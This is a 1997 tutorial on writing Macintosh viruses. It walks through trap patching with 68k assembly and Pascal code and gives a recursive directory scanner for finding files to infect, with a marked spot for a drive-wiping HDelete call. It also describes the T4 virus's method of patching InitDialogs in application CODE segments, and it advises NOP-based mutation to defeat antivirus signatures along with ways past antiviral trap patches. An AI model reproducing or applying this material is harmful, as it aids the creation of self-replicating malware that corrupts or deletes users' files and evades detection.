home *** CD-ROM | disk | FTP | other *** search
Text File | 1997-12-08 | 127.4 KB | 2,611 lines |
- A SHORT TUTORIAL ON HOW TO WRITE A MACINTOSH
- VIRUS WITH EXAMPLES
-
- 1: INTRODUCTION. WHAT IS A MACINTOSH VIRUS?
-
- A macintosh virus is a virus that targets specifically the Mac OS. A Mac virus takes advantage
- of the sophisticated Mac OS System, and replicates by attaching copies of itself to other files. It can
- attach copies of itself to executable programs (APPLs) as well as non-executable files such as plain
- TEXT files, or Extension Files, Control Panel files, Startup files and files that belong to any program.
-
- 2: MEMORY RESIDENT (MR) AND DISK BASED (DB) VIRUSES
-
- Currently, all the Mac viruses fall into two basic categories: Memory Resident viruses and Disk
- Based viruses. MR viruses load into memory and stay there when an infected file is run, until a hard
- restart is executed. They usually infect files as they are opened, or executed. The advantages of the
- MR viruses is that they are always loaded once an infected file is run, and operate in the background.
- They also do not require directory scanning procedures, as the OS provides the virus with the file to
- be infected upon launching of that file. These viruses usually also infect files that are irrelevant to
- their survival, as they attempt to infect whatever the OS feeds them with. For example, if there is a
- MR virus loaded and the user clicks on say a word doc, the virus may infect the document file prior to
- infecting the owner application. The most famous MR viruses are the ones that try to "replace" Mac
- OS resources, such as MDEFs (Menu Definition Function code resources), WDEFs (Window
- Definition Function code resources) and CDEFs (Control Definition Function code resources). These
- resources are regular code resources of the Mac OS System, and the System itself contains and
- maintains plenty of these, are they are vital to its operation. For example, the Mac OS draws the basic
- window frames, the window bar, the zoom and close boxes and the grow icon using the WDEF with
- resource id of 0. This resource was stored in the System file in early Systems, but was later put into
- ROM, as it is often used. However, even when the code resource is in ROM, sometimes the System
- file contains an alternate WDEF resource, with the same resource id as that of the ROM, in case in
- needs to bypass the code resource in ROM. This will be explained later in detail. The disadvantages of
- MR viruses are many. The most obvious is that the System keeps changing very often (At the time of
- this writing, OS 8 is out) and therefore the corresponding code resources are changed as well. This
- means that if you had programmed a WDEF virus into System 7.x.x, the virus may become obsolete
- when it passes into a newer System. The most famous example was the early WDEF Mac virus, which
- infected the Desktop file on Systems up to 6.0.8. The desktop file was changed into a data fork only
- file in versions 7.x.x, thus the virus stopped functioning.
- The second category is the DB viruses. These viruses are notably more stable, and less
- dependent on System resources. They do their work independently with each infected application that
- is run, and usually require some sort of directory scanning in order to fetch the next file to be infected.
- They load into memory once with every infected file run. DB viruses are notably larger than MB ones,
- but may infect applications that are never run, and may even infect files more than once. They depend
- on intricate techniques of file manipulation, and usually take some time to do their job. But, as I
- already mentioned, they are immune to System changes and may be easier to adapt if you decide to
- reprogram them at a later time.
- MR viruses, usually try to infect the System first. Once this is achieved, every time the Mac OS
- loads, the virus will activate. DB viruses usually do not infect the System, rather they go directly to
- application files.
- Technically, there is a distinction between viruses that infect APPLs and Startup documents.
- There are viruses that infect only Startup docs, such as INITs and Control Panels, while there are
- viruses which infect only APPLs. The viruses that infect Startup docs multiply much less often that
- those who infect APPLs, as Startup documents are less frequently shared. People usually share
- applications much more often. But, there are some viruses which can do both: They can use
- applications for propagation purposes, but their main work is done while being loaded off a Startup
- document in which they reside.
- For a full catalog of the known mac viruses and short descriptions, try downloading John
- Nosrtad's program Disinfectant from Northwestern University. For in depth short analyses of how the
- most common of the known ones work, go to the Virex site and start poking around in the "animal
- zoo" section.
-
- PREREQUISITES: WHAT DO I NEED TO KNOW TO BE ABLE TO
- WRITE A MAC VIRUS?
-
- Macintosh virus writing is serious business and it is not easy. You need to be familiar with a
- plethora of resources, most of which have to do with knowing how the Mac OS operates and how
- programs work. If you have no experience whatsoever, I suggest FIRST AND FOREMOST,
- downloading the entire Inside Macintosh Manuals from the Apple ftp Site
- (ftp.appleccom/devtools/documentation/Inside Macintosh/). Or if you prefer, order it on CD from
- APDA. Without the Inside Macintosh manuals, don't even think about it. Quit now, while you have
- your sanity.
- The second thing you DEFINATELY need, is to be a good Mac programmer and to have some
- experience programming at least a dummy application for the Mac. If you don't know how to program
- the Mac, forget it. There are plenty of good development Mac packages out there, notably for C,
- Pascal and Assembly. If you've never programmed a Mac application of some sort, quit now.
- The third thing you need to know, is of course the 680x0 Assembly language. While the newer
- macs use the PowerPC RISC chip, you definitely need to know 680x0 assembly, in order to be
- backwards compatible. You cannot expect your virus to run only on PowerPC machines. That's
- unrealistic. While PowerPC Assembly language is useful, you will find yourself spending most of your
- time coding in 680x0 assembly. And that's because most of the internal Mac OS routines are still in
- 680x0 assembly code.
- You will definitely need a good Assembly language development package. I suggest MPW
- 3.x.x or some dev package that allows you to embed inline code into your programs. (I use THINK
- Pascal 4.0.2) You may use C if you prefer, and use the asm {} directive. The choice is entirely up to
- you. Just make sure that the development package you use, has utilities for programming in 680x0
- asm.
- You will need a good disassembler. The one I use is the code editor for ResEdit 2.1.3, or
- Resourcerer, which has one built in. Either way, you will find yourself spending hours upon hours of
- your time examining your compiled or assembled code. And at this level of programming, you need
- all the help you can get. You cannot be too careful with this. One simple mistake and the virus will
- blow your System into smithereens.
- You will also need a good AV program that PREVENTS infections, so you can track your
- virus while testing it. I use Chris Johnson's GateKeeper, which gives one a complete warning about
- what is being modified, and by whom. Without such a program, you cannot test a virus and chances
- are it will escape into your machine. If this happens, you will have no way to disinfect your System,
- except manually and IF you know how. You may use Symantec's SAM, or Virex. It doesn't matter.
- Just make sure you have a way to be notified if an infection occurs. Without it, virus testing is
- impossible. And believe me, you will be spending many hours testing your code.
- It is a good idea to have MacsBug installed into your System as well, so you can test code at
- runtime. Something which static disassemblers cannot do. You can get MacsBug from the Apple ftp
- site.
-
- WHAT DEVELOPMENT PACKAGE CAN I USE?
-
- You may use any package that has facilities for creating stand alone code segments, such as
- WDEF's, CDEF's, MDEFs, MBDFs, and stand alone code modules, such as DRVRs and other CODE
- resources. It does NOT have to be an assembly language package, but it may be for example
- Symantec's C compiler with the asm {} directive, or THINK Pascal (which allows for Inline code in
- the form of $xxxx). I believe that for a beginner virus writer, the MPW package is probably the best
- choice, as it offers, three or four compilers in one. It has both 680x0 and PowerPC native Assemblers,
- a C native compiler, and a Pascal 680x0 compiler. Good value for your money. The virus examples
- that will follow at the end of this article were all written using THINK Pascal, but they could have
- been written in any other development package that supports inlining of embedded code. However,
- understand that if you use a higher language development package, you have to be thoroughly
- familiar with how the specific compiler works, from the way it allocates stack frames, to the sizes of
- the argument variables, to quality of code generation. I spent 5 years working with the THINK Pascal
- compiler before I attempted to write the viruses. The advantages of using a high level language are
- hard to come by. Even for virus writing. For example, as you will see, directory scanning is non-
- trivial business, and is easily implemented in Pascal. If you try to code directory scanning in asm, you
- will have to test the thing for months before it worked. The main disadvantage of a higher language is
- that the compiler usually inserts runtime code into your modules which the virus will carry with it
- (dead code) always. There are tricks around this, and if your compiler can create stand alone modules,
- (such as a MDEF) then it will NOT embed unneeded runtime code. One other disadvantage of higher
- languages is the lack of global data and difficult register manipulation. You virus will definitely need
- scratch variables, and you have to be careful to allocate all of these independently of the program's
- global variables. A well balanced stack and careful use of dynamic memory can be a solution to that.
- If you do not allocate many excess variables, you can do it either dynamically or statically, with very
- little interference from the host. If you manage your memory carefully, your host will only be happy to
- oblige you. If you make large memory requests though, be prepared to see the host crashing, as it has
- no assumptions on what your virus is doing underneath its back. Usually, the largest memory request
- that needs to be made on the host, is the size of the virus itself and this cannot exceed a couple of K at
- the most. Of course, if you use assembly language, you have complete freedom over your variables,
- which can be allocated regularly at the end of the virus body. This is the best advantage of assembly
- language. You also have to be careful not to interfere with the registers of your compiled code
- resource, if you use a high level language. The best practice is to save all the registers (A0-A4/D0-D7)
- RIGHT AFTER your virus entry point, and restore them RIGHT BEFORE your virus exit point. This
- way, the host will find its registers intact after your virus finishes executing. Don't touch registers A5,
- A6 and A7. A5 is used to reference the host's global variables, (details in Inside Macintosh) and
- chances are if you mess with it, the host will crash. A6 is used for static link frames, so either your
- compiler will take care of that, or you if you are breaking your virus code into sub-procedures in asm.
- A7 is used as the stack pointer. The use of A7 in an uninfected application and in an infected one is
- NEVER the same. And that's because the virus will definitely modify the stack a bit for its own
- private storage and links. Be very careful to allocate and deallocate correctly your stack frames.
- Unbalanced stacks are crash cause #1 in virus testing. You will see an example of the dangers lurking
- behind an unbalanced stack in the CODE 32767 example, later in this article.
-
- SYSTEM TRAPS AND TRAP PATCHING
-
- As you know, the characteristic look and feel of any Mac program is due mainly to the
- extensive use of many System Traps that correspond to specific routines in Inside Macintosh. For
- example, most of the procedures in Inside Macintosh are actually routines that get executed when the
- processor tries to execute an instruction of the form $Axxx. The 680x0 processor does not recognize
- such instructions (as well as $Fxxx) and when it encounters one, it generates an exception. An
- exception vector takes control and the system calculates an address based on the number that follows
- the A digit. The details are in IM. For example, the procedure call
- "AddResource(theHandle,'CDEF',32,"myCDEF");" generates the following assembly code:
-
- 00000008: 2F2E FFFC MOVE.L theHandle(A6),-(A7)
- 0000000C: 2F3C 4D44 4546 MOVE.L #$4D444546,-(A7); 'MDEF'
- 00000012: 3F3C 0020 MOVE.W #$0020,-(A7)
- 00000016: 486E FEFC PEA myCDEF(A6)
- 0000001A: A9AB _AddResource
-
- As you can see, the parameters are first pushed onto the stack and then the trap $A9AB is executed.
- In reality, the trap is never executed. It generates an exception that dispatches the PC onto some table
- that contains the addresses of all the system routines. The table looks something like this:
-
- Trap # Routine Address
- ... ...
- $A9AB $3501980 (routine address with index 171 of table)
- $A9AC $9ACD0F0 (routine address with index 172 of table)
- $A9AD $8709FFA (routine address with index 173 of table)
- ... ...
-
- The System calculates the specifics of the dispatch based on the binary representation of the
- trap:
- $A9AB=1010100110101011
-
- Bit 8 for example is the bit that charachterizes toolbox traps. The first 7 bits (from right)
- provide the index into the trap dispatch table. (Here $AB=171). More details in Inside Macintosh.
- Now as you may have suspected, it is obvious that ANY address can be installed in a specific
- trap dispatch table entry. For example, we don't have to have address $3501980 in entry 171. We can
- install a different address, that corresponds to a different routine. But because usually the functionality
- of the original needs to be preserved, we need to be able to call the original routine as well. The way
- to do that is called "Trap Patching". It is the process of installing a "patch" (head or tail) to the actual
- routine's address. We can install something prior to calling the original (called head patch) or
- something that post-processes the original (tail patch). What follows is an example of how to write a
- routine patch. For simplicity, I will use here the routine for "DrawString(theStr:Str255)".
- The patch consists of two separate projects. The actual patch code (an MPW asm file) and a
- THINK Pascal project that creates an INIT that installs the new routine at startup.
-
- File DrawStringPatch.a
- STRING ASIS
-
- INCLUDE 'SysEqu.a'
- INCLUDE 'SysErr.a'
- INCLUDE 'ToolEqu.a'
- INCLUDE 'Traps.a'
-
- SEG 'DrawStringPatch'
- DrawStringPatch MAIN
- Entry
- BRA.S MyDrawString ;branch around next 4 bytes
- OldDrawString
- DC.L 0 ;original address is stored here!!
- ;what follows from here is the actual pre-processing code
- MyDrawString
- MOVEM.L A0-A4/D0-D7,-(SP) ;save registers
- MOVE.W #4,-(SP) ;push integer 4 onto stack
- _SysBeep ;sound the beeper
- ;end of pre-processing code
- ExitPatch
- MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers
- MOVE.L OldDrawString,A0 ;get address of old DrawString
- JMP (A0) ;see ya baby...
- END
-
- The build MPW commands to create the patch code segment:
-
- asm -o DrawStringPatch.a.o DrawStringPatch.a
- link DrawStringPatch.a.o -o PTCH.rsrc -t RSRC -c RSED -rt 'PTCH'=35 -ra
- DrawStringPatch=resSysHeap,resPreload,resLocked
-
- File InstallDrawStringPatch.p
-
- unit InstallAPatch;
- interface
- procedure Main;
- implementation
- const
- _DrawString = $A884; {Trap number for DrawString routine}
- type
- PTCHHeader = record {look at the asm file}
- BRAS: integer; {the first instruction is a BRA.S}
- OriginalAddress: longint; {the place we store original address}
- end;
- PTCHHeaderPtr = ^PTCHHeader; {Master pointer}
- PTCHHeaderHandle = ^PTCHHeaderPtr; {Handle}
- procedure Main;
- var
- thePTCH: Handle;
- begin
- thePTCH := GetResource('PTCH', 35);{load the resource into mem}
- if thePTCH <> nil then {if good handle}
- begin
- {Store OriginalAddress at header of resource. Look at asm file}
- PTCHHeaderHandle(thePTCH)^^.OriginalAddress :=
- NGetTrapAddress(_DrawString, ToolTrap);
- {now set trap dispatch table address}
- {to Entry Point of Patch (Entry))
- NSetTrapAddress(Ord(thePTCH^), _DrawString, ToolTrap);
- DetachResource(thePTCH); {detach from memory}
- end;
- end;
- end.
-
- Create the INIT with id=35 with the THINK Pascal project.
- After you assemble the MPW asm file, open the code segment patch file with ResEdit and copy
- the 'PTCH' resource into the INIT which you created with the THINK Pascal project. Then, put the
- INIT into your System folder. Be prepared for thousands of beeps.
- OK, now for the analysis of what we have done: First the MPW file. As you can see there are
- certain params for the assembler which you should take for granted for now. The first instruction is a
- BRA.S MyDrawString. This forces the PC to immediately go to label "MyDrawString". Just to avoid
- hitting the actual address which is at "OldDrawString". So now, we are in our space. We can do
- whatever we want. The original has not been called yet and we have all the tools at our disposal. Here,
- we do something simple, like sound the beeper. Next, after we are done with whatever we want to do,
- we restore the regs, and load the original address from the place where the Pascal INIT has put it at
- run time: At "OldDrawString". And finally JMP to that location, which forces the original to be
- called. That's it. A couple of things to note: We use a JMP and not a JSR. Can you tell why? Because
- the original routine is responsible for returning to the caller of the _DrawString trap. IF we wanted to
- do a tail-patch, we would call JSR (A0) and the original routine would return to us, first, we could
- then do post-processing and then return to the caller! This is left as an exercise to the reader.
-
- HOW MAC ANTIVIRAL PROGRAMS WORK
-
- Ok, so why all the fuss with Trap patching? Well you guessed it: AV programs use it to
- PREVENT viruses from using unauthorized calls of System Routines. For example, an AV such as
- GateKeeper or SAM Intercept, head-patches certain traps and intercepts the calls to the originals. It
- looks at the user, tries to figure out what's being modified and which file is being affected BEFORE
- the original routine is called. That way, if it is an unauthorized call, the original routine is never
- called. Smart enough? This is the main technique todate that most preventive AV programs use. The
- main reason why this technique is so successful is because there is no easy way to extract the original
- address of the routine that's patched. For example, a good virus would look at the trap address, figure
- out if it is patched, and if it is, it will try to extract the original, say, "AddResource" address and use
- that instead of going through the AV patch. But how does one extract the original address? Very good
- question. And it has no easy solution, as the program that patches the trap (notably an AV) can store
- the original address anywhere it wants for its own use. You saw how we stored it at "OldDrawString".
- It could have been anyplace in our code. If you are good in disassembling 680x0 code, you can load
- GateKeeper and trace one of the famous virus routines, such as "AddResource" or "ChangedResource"
- and try to figure out using MacsBug where the original address is hidden. But even if you succeed, the
- success will only be valid for the particular AV program. Tough stuff. And another catch: Don't forget
- that the System itself patches traps with newer versions of routines that are unavailable to ROM. So it
- is really hard to recover the original address, because many patches on top of each other may exist.
-
- A WORD ON MAC DISINFECTING AV PROGRAMS AND
- MUTATION
-
- Besides PREVENTIVE AV programs, there are also the famous DISINFECTION programs,
- that remove viruses on already infected Systems. The most famous ones are Disinfectant by John
- Norstad of NorthWestern U, SAM by Symantec and Virex. I will not address by example the question
- of how these programs detect viruses, even though you are pretty familiar with the technique already.
- The programmers of these programs, take a virus, analyze its behavior, look at its code, and try to
- determine the most likely pattern to occur with each infection. To my knowledge only some strands of
- the 'nVIR' Mac virus can mutate. There haven't been any other mac viruses that mutated. But
- mutation is not very hard to implement. The most common form of mutation consists of inserting lots
- of NOP instructions ($4E71 for the 680x0) in the viral code and has as its object to prevent the
- examiner from extracting a stable byte pattern with which to recognize the virus. For example, if the
- examiner finds that the byte pattern "$DEADBEEF" occurs inside the virus code, if the virus mutates
- he has no way to foretell whether the next hybrid will contain this pattern. The virus may have
- changed at exactly this place and may have become "$DEAD4E71BEEF". As such, if the AV
- program was looking for the pattern "$DEADBEEF" it would fail. BUT, if it looked for BOTH the
- patterns "$DEAD" AND "$BEEF" it would detect it. However, the math of pattern matching in
- mutation is really crappy, as there is this little theorem that says that fake alerts come about when the
- pattern splits into smaller and smaller pieces. In the previous example, with every pattern split search,
- such as "$DEAD" AND "$BEEF" chances increase that these byte patterns will show up normally in
- uninfected hosts, so the AV program will report a fake alert. For even better results, break your code
- even further. If your code looked like $DE, $4E71, $4E71, $AD, $4E71, $BE, $4E71, $4E71, $4E71,
- $EF, it would really be hard for an AV to detect it, as these byte patterns ($DE, $AD, $BE,$EF) may
- occur naturally throughout the regular host code. So be creative. Insert as many NOPs as you like,
- without making your virus too bulky or too complicated. Remember that every time you insert NOPs
- into your code, you have to adjust your branching points, so that the new hybrid uses the correct
- branching mechanisms without branching to twilight zone. This is an acute problem with the virus's
- memory addressing. If for example you reference your var at $345000AB, the new hybrid will have to
- adjust its reference to account for the code additions in length because of all these extra NOP
- instructions. And sorry to say, these modifications are best written in assembler. If you try to force the
- output of a compiler to mutate you are in deep waters. You will also have to take care to hide your
- mutation engine itself, because IT cannot mutate and if your examiner figures out where it is, your
- virus will be caught. Not everything can mutate. This is a theorem in Mathematics. When you use
- self-reference (and viruses use it all the time), there is one point that has to remain stable throughout.
- Hide your mutation engine well. Also, keep in mind that you cannot insert NOPs everywhere. If you
- insert one in the middle of an instruction, the mac will definitely bomb when it hits it. You have to
- count your boundaries, and these are ends of instructions, or beginnings of instructions. Anyplace else
- is a no-no, unless your NOP mutation is also encryption. In my opinion this would be the best
- combination. An encryption which will use NOPs to mess up the viral code patterns, but which will
- DECRYPT BEFORE it is executed. Thus NOPs are allowed anywhere, and you can break your code
- into many little pieces. On the macintosh, no such virus has been implemented yet as of this writing
- (10/97).
-
- FIRST EXAMPLE: A DIRECTORY SCANNING PROCEDURE
-
- Many potential virus writers usually don't know how to extract the next to be infected file.
- Below is an example of how the user can traverse the entire drive directory, and list all available files.
- This procedure is used modified later to search for potential infection candidates. It would help if you
- had a copy of Inside Macintosh: Files handy. Otherwise you will miss much of the information. Much
- of what follows inside the procedure is pretty trivial. Most of your questions should be resolved by the
- comments. Again, specific questions that you might have usually will pertain to the file manager and
- there is nothing I can do about it. Read Inside Macintosh.
-
- {This program is an example of how the user can scan the directory}
- {to list all available files. Additional file filtering examples}
- {given in the viruses themselves}
- program scandisk;
- label
- 1000;
- type
- cinfopbhandle = ^cinfopbptr; {look at Inside Macintosh:Files}
- var
- theworld: SysEnvRec; {System Environment record}
- cipbh: cinfopbhandle; {handle to our cinfopb}
- pathname: str255; {the returned file pathname}
- scanname: string[31]; {name of the file minus path name}
- foundone: boolean; {true if we found one file}
- i, j, vrefnum, frame: integer;
- TextRect: Rect;
- time1, time2: longint;
- Delete: boolean; {will become true if we decide to erase the drive}
- ApplicationFile, SystemFile: boolean; {kind of file scanned}
- OldTicks: Longint; {ticks for cursor}
- theAnimatedCursor: array[0..7] of CursHandle; {curs handles for animation}
- OldPort, WaitDialog: DialogPtr; {graf Pointers}
- procedure ShowWaitDialog;
- {This procedure Puts up a wait dialog}
- var
- DialogBounds: Rect;
- begin
- SetRect(DialogBounds, 100, 100, 230, 130);
- GetPort(OldPort);
- WaitDialog := NewDialog(nil, DialogBounds, '', TRUE, 1, Pointer(-1), FALSE, 0, nil);
- SetPort(WaitDialog);
- MoveTo(20, 20);
- TextFont(SystemFont);
- TextSize(12);
- DrawString('Please wait...');
- DrawDialog(WaitDialog);
- end;
- procedure KillWaitDialog;
- {Kills the wait dialog above}
- begin
- SetPort(OldPort);
- DisposDialog(WaitDialog);
- end;
- procedure SpinCursor;
- {Spins the cursor, for some delay feedback}
- var
- NewTicks: longint;
- begin
- NewTicks := TickCount;
- if abs(NewTicks - OldTicks) >= 50 then
- begin
- frame := (frame + 1) mod 8;
- SetCursor(theAnimatedCursor[frame]^^);
- OldTicks := NewTicks;
- end;
- end;
- procedure nextcleanapp (dirid: longint);
- {This procedure Traverses the entire drive and lists all available}
- {files by writing their names to th output window}
- var
- indx, ref, i: integer;
- err: oserr;
- begin
- indx := 0; {start at file index=0 for a specific directory}
- repeat
- indx := indx + 1;
- with cipbh^^ do
- begin
- ionameptr := @scanname; {give space for return string}
- iofdirindex := indx; {give object index}
- iodirid := dirid; {give directory id}
- iovrefnum := 0; {give vrefnum}
- err := PBGetCatInfo(cipbh^, FALSE); {call magic trap}
- if (err <> noerr) and (err <> fnferr) then
- writeln(err); {report if any errors found}
- if err = noerr then
- begin
- if length(pathname) + length(scanname) <= 255 then
- begin
- pathname := concat(pathname, ':', scanname);{stack names}
- if bittst(@ioflattrib, 3) then {if it is a directory then}
- nextcleanapp(iodirid) {call recursivelly one level down}
- else {file}
- begin
- ApplicationFile := (ioflfndrinfo.fdtype = 'APPL') or ((ioflfndrinfo.fdcreator = 'MACS') and
- (ioflfndrinfo.fdtype = 'FNDR')) or (scanname = 'MultiFinder');
- SystemFile := pos(scanname, 'System') <> 0;
- if not Delete and ApplicationFile then {write APPLs}
- writeln(pathname) {real call here would be to return the name}
- else if Delete and not ApplicationFile and not SystemFile then
- writeln(pathname); {real call here would be to HDelete}
- end;
- SpinCursor;
- i := length(pathname);
- j := i;
- while pathname[i] <> ':' do
- i := i - 1;
- pathname := omit(pathname, i, j); {unstack last file name}
- end;{if length<=40}
- end;{if err=noerr}
- end;{with cipbh^ do}
- while Button do
- ;
- until (err = fnferr);
- end;
- begin
- SetRect(TextRect, 20, 50, 600, 500);
- SetTextRect(TextRect);
- ShowText;
- if sysenvirons(1, theworld) <> noerr then {get the environment}
- goto 1000;
- readln(delete);
- pathname := '';
- scanname := '';
- foundone := false;
- vrefnum := theworld.sysvrefnum;
- if setvol(nil, vrefnum) <> noerr then {get startup volume}
- goto 1000;
- if getvol(@pathname, vrefnum) <> noerr then {get startup volume}
- goto 1000;
- foundone := false; {tentativelly}
- theAnimatedCursor[0] := GetCursor(WatchCursor);
- for frame := 1 to 7 do
- theAnimatedCursor[frame] := GetCursor(-6078 + frame - 1);
- frame := 0;
- OldTicks := TickCount;
- ShowWaitDialog;
- {Allocate memory block for our parameter block}
- cipbh := cinfopbhandle(newhandle(sizeof(cinfopbrec)));
- if memerror <> noerr then
- goto 1000; {exit if we can't get the memory}
- movehhi(handle(cipbh));
- hlock(handle(cipbh)); {lock to use}
- nextcleanapp(fsrtdirid); {search for next uninfected appl}
- hunlock(handle(cipbh)); {unlock to free}
- disposehandle(handle(cipbh)); {dispose of}
- KillWaitDialog; {kill dialog}
- InitCursor;
- 1000:
- end.
-
- SECOND EXAMPLE: THE T4 VIRUS
-
- DESCRIPTION:
- (The entire T4 virus project can be downloaded from
- <http://codebreakers.simplenet.com>)
- *************************************************************************
- the T4 BACTERIOPHAGE virus
- *************************************************************************
- The principle behind the T4 virus is simple. Every (correct) Mac application contains the
- following calls somewhere in its CODE segments:InitGraf,InitFonts,
- InitWindows,InitMenus,TEInit,and InitDialogs. So the virus takes advandage of
- the fact that these calls are always there, to use them for its replication.
- The initialization code in Pascal looks like this:
- InitGraf(@thePort);
- InitFonts;
- InitWindows;
- InitMenus;
- TEInit;
- InitDialogs(nil); or InitDialogs(@AddressOfResumeProc);
- ...
- depending on whether the programmer has a resume procedure in case of an error, (System 7.x.x does
- not require a resume proc) the code after disassembly looks like this:
- ***********************************************************
- 00000014:4E56 0000 ;LINK A6,#$0000 ;start of main link frame
- 00000018:486D xxxx ;PEA -$xxxx(A5) ;push address of "theport"
- 0000001C:A86E ;_InitGraf ;initialization starts...
- 0000001E:A8FE ;_InitFonts ;rest of initialization...
- 00000020:A912 ;_InitWindows ;rest of initialization...
- 00000022:A930 ;_InitMenus ;rest of initialization...
- 00000024:A9CC ;_TEInit ;rest of initialization...
- 00000026:42A7 ;CLR.L -(SP) ;push 0 longword (nil ptr)
- 00000028:A97B ;_InitDialogs ;what makes it possible
- 0000002A:xxxx ;xxxx ;rest of application code
- 0000002C:xxxx ;xxxx ;rest of application code
- 0000002E:xxxx ;xxxx ;rest of application code
- 00000030:xxxx ;xxxx ;rest of application code
- 00000032:4E5E ;UNLK A6 ;end of main link frame
- 00000034:4E75 ;RTS ;return to finder
- ***********************************************************
- if instead the programmer had called InitDialogs(@ResumeProc);
- the code will look like this:
- ***********************************************************
- 00000014:4E56 0000 ;LINK A6,#$0000 ;start of main link frame
- 00000018:486D xxxx ;PEA -$xxxx(A5) ;push address of "theport"
- 0000001C:A86E ;_InitGraf ;initialization starts...
- 0000001E:A8FE ;_InitFonts ;rest of initialization...
- 00000020:A912 ;_InitWindows ;rest of initialization...
- 00000022:A930 ;_InitMenus ;rest of initialization...
- 00000024:A9CC ;_TEInit ;rest of initialization...
- 00000026:486D xxxx ;PEA -$xxxx(A5) ;push address of resume proc
- 0000002A:A97B ;_InitDialogs ;what makes it possible
- 0000002C:xxxx ;xxxx ;rest of application code
- 0000002E:xxxx ;xxxx ;rest of application code
- 00000030:xxxx ;xxxx ;rest of application code
- 00000032:xxxx ;xxxx ;rest of application code
- 00000034:4E5E ;UNLK A6 ;end of main link frame
- 00000036:4E75 ;RTS ;return to finder
- ***********************************************************
- Now the virus will function on the InitDialogs Trap, and add a branch
- instruction to its own code, and then return exactly at the point after the
- branch, to therefore let the application continue without any interference.
- The virus must assume all the managers initialized, so the patch must be AFTER all initialization
- calls and BEFORE the rest of application code.
- It follows that there are two possibilities for the patch instructions:
- In each case look at the two tables above, and compare with the tables below which are the same
- tables, except that the virus has patched the code.
- Case WITHOUT Resume Procedure:
- ***********************************************************
- 00000014:4E56 0000 ;LINK A6,#$0000 ;start of main link frame
- 00000018:486D xxxx ;PEA -$xxxx(A5) ;push address of "theport"
- 0000001C:A86E ;_InitGraf ;initialization starts...
- 0000001E:A8FE ;_InitFonts ;rest of initialization...
- 00000020:A912 ;_InitWindows ;rest of initialization...
- 00000022:A930 ;_InitMenus ;rest of initialization...
- 00000024:A9CC ;_TEInit ;rest of initialization...
- 00000026:6100 000C ;BSR *+$000A ;branch to virus (00000036:)
- 0000002A:xxxx ;xxxx ;rest of application code
- 0000002C:xxxx ;xxxx ;rest of application code
- 0000002E:xxxx ;xxxx ;rest of application code
- 00000030:xxxx ;xxxx ;rest of application code
- 00000032:4E5E ;UNLK A6 ;end of main link frame
- 00000034:4E75 ;RTS ;return to finder
- --------------- VIRUS ----------------------------------------------------------
- 00000036:xxxx ;xxxx ;start of viral code
- 00000038:A97B ;_InitDialogs ;don't forget InitDialogs
- 0000003A:xxxx ;xxxx ;continue viral code
- 0000003C:xxxx ;xxxx ;continue viral code
- 0000003E:xxxx ;xxxx ;continue viral code
- 00000040:xxxx ;xxxx ;continue viral code
- 00000042:4E75 ;RTS ;return to caller (0000002A:)
- --------------- VIRUS ----------------------------------------------------------
- ***********************************************************
- Case WITH Resume Procedure:
- ***********************************************************
- 00000014:4E56 0000 ;LINK A6,#$0000 ;start of main link frame
- 00000018:486D xxxx ;PEA -$xxxx(A5) ;push address of "theport"
- 0000001C:A86E ;_InitGraf ;initialization starts...
- 0000001E:A8FE ;_InitFonts ;rest of initialization...
- 00000020:A912 ;_InitWindows ;rest of initialization...
- 00000022:A930 ;_InitMenus ;rest of initialization...
- 00000024:A9CC ;_TEInit ;rest of initialization...
- 00000026:6100 000E ;BSR *+$000C ;jump to virus (00000038:)
- 0000002A:4E71 ;NOP ;no operation
- 0000002C:xxxx ;xxxx ;rest of application code
- 0000002E:xxxx ;xxxx ;rest of application code
- 00000030:xxxx ;xxxx ;rest of application code
- 00000032:xxxx ;xxxx ;rest of application code
- 00000034:4E5E ;UNLK A6 ;end of main link frame
- 00000036:4E75 ;RTS ;return to finder
- --------------- VIRUS ----------------------------------------------------------
- 00000038:xxxx ;xxxx ;start of viral code
- 0000003A:A97B ;_InitDialogs ;don't forget InitDialogs
- 0000003C:xxxx ;xxxx ;continue viral code
- 0000003E:xxxx ;xxxx ;continue viral code
- 00000040:xxxx ;xxxx ;continue viral code
- 00000042:xxxx ;xxxx ;continue viral code
- 00000044:4E75 ;RTS ;return to caller (0000002A:)
- --------------- VIRUS ----------------------------------------------------------
- ***********************************************************
- There are several problems the virus may encounter:
- 1)The application does not call InitDialogs at all. In that case, it is immune against the T4 virus.
- 2)The toolbox is NOT initialized in the correct order. If this happens, havoc will prevail, since the
- viral body contains calls to the window manager which assumes that InitWindows has been called.
- Note also that the virus must call InitDialogs from within its main body IMMEDIATELLY after the
- branch since that manager must be initialized as well. Finally, the virus will infect any application
- that calls InitDialogs, except maybe those which use strange instructions such as a
- MOVE.L #$00000000,-(SP), to push a longword on the stack.This is however relatively rare, since
- most compilers and assemblers will push a long on the stack using the CLR.L -(SP) instruction.
- (There is a very rare case where the patch code ($42A7,$A97B,CLR.L -(SP),_InitDialogs) is not
- actually initialization, rather, it is data. In this case the virus will patch the wrong place in the code,
- resulting in a bad crash. These cases are very rare though.)
- Thus using a correct strategy with appropriate signatures, it may be possible to repeat the above
- process a number of times, every time patching the routine InitDialogs in its new location. This will
- force multiple infections, but will still work.
- The virus works as follows: It first scans the disk for files of type APPL. When it finds one, it checks
- if it is already infected, by looking for the signature 'T4VIRS'. If it is infected (i.e. if the signature
- appears somewhere) it leaves the file alone and closes it. Then goes to the next file it finds. If the
- application does not contain the signature T4VIRS, then the virus scans all CODE resources, until it
- finds one with the above or similar initialization sequence. If it doesn't find the initialization sequence
- in any of the CODE segments, the application is immune against the T4 virus. If it finds the trap
- _InitDialogs embedded in one CODE segment, then:
- 1)It adjusts the CODE resource attributes by subtracting the resprotected
- attribute, not changing the other attributes. The older versions of the virus, the ones released in the
- U.S. cleared the resource attributes, thus resulting in corrupted data for the CODE resource segments
- that it processed if the resource is compressed (newer attribute that was added later)
- 2)It performs a patch on that CODE resource, by inserting the proper 'jump' instructions to the main
- body of the virus, and appends the virus to the end of the current CODE resource. The virus uses as
- little memory as possible, but there is no guarantee that the host will behave normally when it is
- forced to deal with a couple more handles lurking around.
- In case of an error, the virus tries to bypass the rest of the viral code,
- and exit gracefully, but there is no guarantee that it will not bomb.
- In particular, there is one point (the main patch call) where the viral call may fail because of an
- antiviral tool. Every effort has been made to circumvent this point successfully, but there is no telling
- what an antiviral program may do. Another problem will occur if the complete pathname of the
- application to be infected is longer than 255 chars.
- Some effort has been made to that extent to avoid this situation by avoiding directories that are nested
